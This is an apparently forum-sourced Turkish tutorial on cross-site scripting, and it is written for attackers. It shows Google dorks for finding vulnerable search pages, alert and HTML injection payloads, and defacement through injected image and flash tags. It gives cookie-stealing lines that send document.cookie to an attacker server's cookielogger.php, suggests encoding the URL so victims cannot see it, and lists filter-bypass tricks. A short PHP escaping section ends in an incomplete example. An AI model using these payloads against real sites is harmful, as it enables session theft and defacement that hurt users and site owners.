Bölüm 1 - XSS Nedir?
�CSS� olarak da bilinen �XSS�( Cascading Style Sheets ile karıştırılan
Cross Site Scripting) web uygulamalarında sıklıkla karşılaşılan bir
açıktır. XSS saldırgana kötü niyetli kodlar eklemesine imkan
tanımaktadır. XSS saldırılarının birçok çeşidi mevcuttur. Şimdi ben
burada en çok kullanılan 3 tanesi üzerinde duracağım.
Bahsetmek istediğim ilk saldırı turu URL XSS�dir. Bu yöntem XSS�in
sayfada kalmayacağı anlamına gelir. Bu durumda XSS, sadece kodu alıp
�submit� ettiğimizde çalışacaktır. Bunu kendi lehimize nasıl kullanırız
bundan daha çok bahsedeceğiz.
İkinci saldırı girdi alanlarındadır. Datayı nereye eklerseniz ekleyin
çoğunlukla XSS olur. Örnek olarak bir arama motoru kullanarak bir site
bulduk. Arama kutucuğuna �hacker� diye yazın ve aratın. Sayfa
yüklendiğinde eğer derse ki; �hacker� için 100 sonuç bulundu, veriyi
sayfada gösterdiğini göreceksiniz. Şimdi ya kodu çalıştırırsak? Bu
saldırıda PHP kodu çalıştırmak mümkün değildir ancak HTML ve JavaScript
kodlarını çalıştırmak mümkündür. Bu arada bu yönteme dikkat edin
sunucuda kalmayacaktır.
Üçüncü saldırı yöntemi; bu yöntem ile kodu ilave edebilirsiniz ve kod sitede kalıcı olacaktır.
PHP ve HTML çalıştırıp çalıştıramayacağımıza bağlı olan iki çeşit
kodumuz var. Eğer PHP�yi enjekte edersek aynı HTML�yi de enjekte
edebiliriz. Bu tarz saldırılar genellikle blog�larda ve profillerde
bulunur. Forumlar ise çoğu yerine veri ekleyebildiğiniz ve verilerin
eklenilen yerde kaldığı alanlardır. HTML, PHP�den çok farklıdır. HTML
bilgisayarınıza �download� edilir ve tarayıcınızda bunu çözümler ( bu
nedenle sayfa kaynakları görüntülenebilir). PHP ile de kod, scriptin
barındırıldığı sunucu üzerinde çözümlenir, daha sonra veri tarayıcıya
geri gönderilir. PHP enjeksiyon için bu durum çok nadirdir. Not: PHP
kod asla HTML sayfaya enjekte edilemez.
Bölüm 2 - XSS Açıklarını Bulma
Bu açıkları bulabilmek için Blog�ları, Forum�ları, Shoutbox�ları, yorum
kutularını ve arama kutucuklarını deneyerek başlayabilirsiniz. Aslında
burada bahsedilenlerden daha fazla örnek vermek mümkündür.
Google Dork�ları daha kolay bulmak için kullanılabilir. Örnek olarak
google.com girerek inurl:�search.php?q=� yazabilirsiniz. Simdi bu
bulunabilen çok genel bir sayfadır ve birçok sonuç elde edebilirsiniz.
Daha fazla saldırı bulabilmek için diğer bolüme geçin.
Aynı zamanda çoğu sitenin XSS açığı bulunduğunu unutmayın ve bunu
bulabilmek için sadece iyi bir göz ve birazda filtrelemeye nasıl bypass
yapılacağı hakkında bilgi sahibi olmak yeterlidir.
Bölüm 3 - XSS Üzerine Temel Kavramlar
Simdi en çok kullanılan XSS olmak üzere en genelinden öğrenmeye başlayalım.
En yaygın olanı <script>alert("XSS")</script>.
Bu kod �XSS� tırnak işaretleri olmaksızın, kolaylıkla düzenlenebilir seklinde bir �popup� ikazı verecektir.
Bu nedenle, bahsettiğimiz eyleri hatırladığınızı varsayarak bundan bir
önceki konuya geri döndüğümüzde, search.php?q= bunu basitçe bir web
sitesi üzerinde deneyebiliriz.
http://site.com/search.php?q=<script>alert("XSS")</script>Büyük bir olasılıkla çalışacaktır ancak yinede çalışmazsa sorun değil,
baksa sitelerde de değişik varyasyonlarını deneyebilirsiniz.( ben çoğu
kişinin, sadece JavaScript değil HTML kodlar da ekleyebileceklerinin
farkında olduklarını sanmıyorum)
http://site.com/search.php?q=<br><br><b><u>XSS</u></b>Eğer kalın fontla yazılmış metni ve haber baslığını görürseniz açık
bulunduğunu biliyorsunuzdur ve artık daha sonra izah edeceğimiz
yöntemleri de kullanabilirisiniz.
Bölüm 4 - Saldırı Yöntemleri
Evet, artık XSS nasıl çalışır bunu öğrendik, simdi de bazı XSS deface
metotlarını izah edebiliriz. Deface için kullanılabilecek birçok yöntem
vardır ve ben bunlardan en etkili ve en yaygın olanları üzerinde
duracağım.
İlki IMG SRC olanıdır. HTML bilmeyenler için IMG SRC, kendisine
link�lenmiş olan resmi web sitesinde göstermek için kullanılan bir
tag�dır.
<html><bOdy><IMG src= "http://site.com/yourDefaceIMAGE.png">
Eğer link�i geçerli bir resim linki ile değiştirir, kaydeder ve çalıştırırsanız ne demek istediğimi daha iyi anlayacaksınız.
Şimdi diyelim ki Shoutbox, Commentbox veya siz verilerinizi girdikten
ve onayladıktan sonra, girdiğiniz verileri gösteren herhangi bir yer
buldunuz. Resmi sayfada gösterebilmek için aşağıda vermiş olduğum
link�i ekleyebilirsiniz.
<IMG src= "http://site.com/yourDefaceIMAGE.png">
Diğer tag�lara gerek yok çünkü sayfa onları zaten barındırmaktadır (çok ıstınsa durumlarda barındırmayabilirde).
Bu resminizin daha büyük görünmesini sağlar ve site net bir şekilde hacklenmiş olur.
Diğer bir yöntemde flash videoların kullanımıdır. Aşağıdaki yöntemle aynıdır ancak biraz daha afilli bir yöntemdir.
<EMBED src= "http://site.com/xss">
Burada ise, kendisine link�lenmiş olan flash video çalıştırılacaktır.
Ya da Pop veya yönlendirme de kullanıyor olabilir
<script>window.open( "http://www.google.com/" )</script>
Bölüm 5 - Çerez (Cookie) Çalma
En etkili yöntem olduğu için bunu eklemek istedim.
Önce
http://G0t-Root.net/tools/cookie.php (ben baktım link çalışmıyor)
Sitesinden cookie logger�i indirelim. Simdi dosyayı edindik ve a.php
seklindeki dosyamızı serverımıza upload ediyoruz. Log.txt dosyasını
oluşturmayı var chmod 777 yapmayı unutmayın. Simdi ise herhangi bir
saldırıyı gerçekleştirebileceğimiz, XSS açığı olan bir site
bulun. Simdi ise su kodu ekleyin;
window.location = "http://yourServer.com/cookielogger.php?c="+document·cookie
veya
document.location = "http://yourServer.com/cookielogger.php?c="+document·cookie
Bundan sonra kullanıcı eğer siteyi ziyaret ederse cookie loggeri yemiş
olacaktır. Gerekli bilgiler siteye gönderilmiş ve cookie�ler çalınmış
olacaktır.
İkinci kısım ise daha gizli kapaklıdır.
Cookie�ler için dosyanıza bakın ve sonra kullanıcının oturumunu yönlendirebilirsiniz.
Ancak eğer derseniz ki ya bizim sitemizin bu tarz bir saldırı olanağı yok, sadece datayı bir kez gösteriyor ve onu saklamıyorsa?
Diyelim ki bizim search.php?q= diye bir sayfa elimizde, biz bunu
aşağıdaki kodu kullanarak ondan zararlı bir url elde edebiliriz ve
belki hex belkide base64 onu encode eder ve insanlar kodu goremezler
http://site.com/search.php?q=document.location = "http://yourServer.com/cookielogger.php?c="+document·cookie
Bölüm 6 - Filtreleme İşlemini ByPass Etmek
Çoğu sitede acık var gözükebilir ancak kod çalıştırmaz, bunu çözebilmek
için bu bolumu iyi not edin. Filtreleme işlemini ByPass etmek için
kullanılan bazı genel yöntemler;
�)alert(�xss�);
or
");alert(�xss�);
Bunlar açık olan bir serverda bu kodun
<script>alert("XSS")</script> yaptığının aynısını yaparlar.
Datayı onaylamadan önce Hexing yada base 64 encoding etmeyi
deneyebilirsiniz.
Su hususa dikkat edin; XSS�i test etmek için (�XSS�) ikazı kullanmak
hiç de iyi bir pratik yapma yöntemi değildir çünkü ben XSS harflerini
engelleyen sitelerin olduğunu biliyorum.
Filtrelemeyi bypass edebilmek için diğer yollar;
<script type=text/javascript>alert("CyberWarrior")</script>
<script>alert("CyberWarrior")</script>;
<script>alert("CyberWarrior");</script>
<script>alert("CyberWarrior"/)</script>
<script>var var = 1; alert(var)</script>
Bölüm 7 - İleri Seviye XSS
Bu bolümde sağlam olan belli başlı yöntemleri inceleyeceğiz ki,
kendimin bile daha kullanıldığına hiç rastlamadığım yöntemler, eminim
beğeneceksiniz.
�Sihirli İşaretlerin� kullanıma acık olduğu ve bu nedenle bazı
komutları gereksiz kılan birçok site gördüm. Ancak kesirli sayıları
kullanarak onları ASCII�ye çeviren bir yönteme rastladım. Kesirli
sayıları ASCII�ye çevirmek için gerekli fonksiyonları içeren bütün bir
tabloyu
http://www.asciitable.com/sitesinden edinebilirsiniz. Bu tablo size neyi yazmak istiyorsanız onu
yazmanıza yardımcı olacaktır. Ben kendi örneğimde "CyberWarrior"
yazacağım ve aşağıdakilerde bunun için gerekli kodlar;
67 121 98 101 114 87 97 114 114 105 111 114
Evet, şimdi string�imizin ondalık değerlerini elde ettik, bilmemiz
gereken şey JavaScript�in bunu hangi fonksiyona dönüştürdüğüdür.
String.fromCharCode()
Bu kod bu tarz şeyler için uygundur, kurulumu kolaydır. Bunu da aşağıdaki kendi argümanlarımdan vereceğim.
String.fromCharCode(67, 121, 98, 101, 114, 87, 97, 114, 114, 105, 111, 114
)
Evet simdi
"String.fromCharCode(67, 121, 98, 101, 114, 87, 97, 114, 114, 105, 111, 114)"
�CyberWarrior� ifadesinin JAVA (ASCII)�deki seklidir.
Ve bunu uyarı vb şeylerle kullanmak için simgelere ihtiyacınız olmaz çünkü zaten bunun kendisi değişken olarak görev yapar.
<script>alert(String.fromCharCode(67, 121, 98, 101, 114, 87, 97, 114, 114, 105, 111, 114))</script>
Şimdi bu durumda "CyberWarrior" seklinde gösterilecektir. Ve bu yöntem
sihirli işaretler denilen imleçleri bypass etmede bir numaradır.
Bir sonraki bolüme devam etmeden önce, yine değişkenlerin kullanıldığı başka bir yöntemden daha bahsetmek istiyorum.
Söyle bir şey yazalım;
var myVar = 1
burada myVar 1 demenin daha uzun bir seklidir.
Değişkenleri XSS�de kendi lehimize kullanmak için, aşağıdaki şekilde yazabiliriz;
<script>var myVar = 1; alert(myVar)</script>
Burada değişkenlerin içerikleri herhangi bir işaret (quote) kullanmadan gösterilecektir.
Bölüm 8 - XSS Güvenliği
Bu kısım web yazılımcıları için hazırlanmıştır. Hazırladığınız kodlara nasıl güvenlik sağlayabilirsiniz ondan bahsedeceğim.
Eğer script�lerinizde XSS açıklarına rastlarsanız, güvenliğini sağlamak çok basittir. Aşağıdaki koda söyle bir göz atın;
if(isset($_POST[�form�])){echo "<html><bOdy>" .$_POST[�form�]. "</bOdy></html>";}
Diyelim ki $_POST[�from�] değişkeni herhangi bir girdi kutucuğundan
geliyordu ve sız de XSS saldırısına maruz kaldınız. Sonraki ise bunun
güvenliğini sağlamak için çok basit bir yöntem;
$charset=�UTF-8�; $data = htmlentities ($_POST[�form�], ENT_NOQUOTES, $charset);
if(isset($data)){echo "<html><bOdy>" .$data. "</bOdy></html>";}
Bu satır muhtemel tüm kodları alacak ve onları < gibi şeylere dönüştürerek çalışmaz hala getirecektir.
HTML girişlerini kullanırken herhangi bir farklılık göze çarpmayacak ();
Ayrıca çok yaygın olan başka bir fonksiyon daha var, striptags(), daha
fazla bilgiyi php.net/striptags�da bulabilirsiniz. Tam sayı
değişkenlerin (yanı içinde her zaman için tamsayı değeri bulunduran
değişkenler) güvenliğini nasıl sağlayacağınıza dair size göstereceğim
diğer bir yöntem de;
$this = $_GET[�id�];
echo "görüntülediğiniz" . $this . "blog";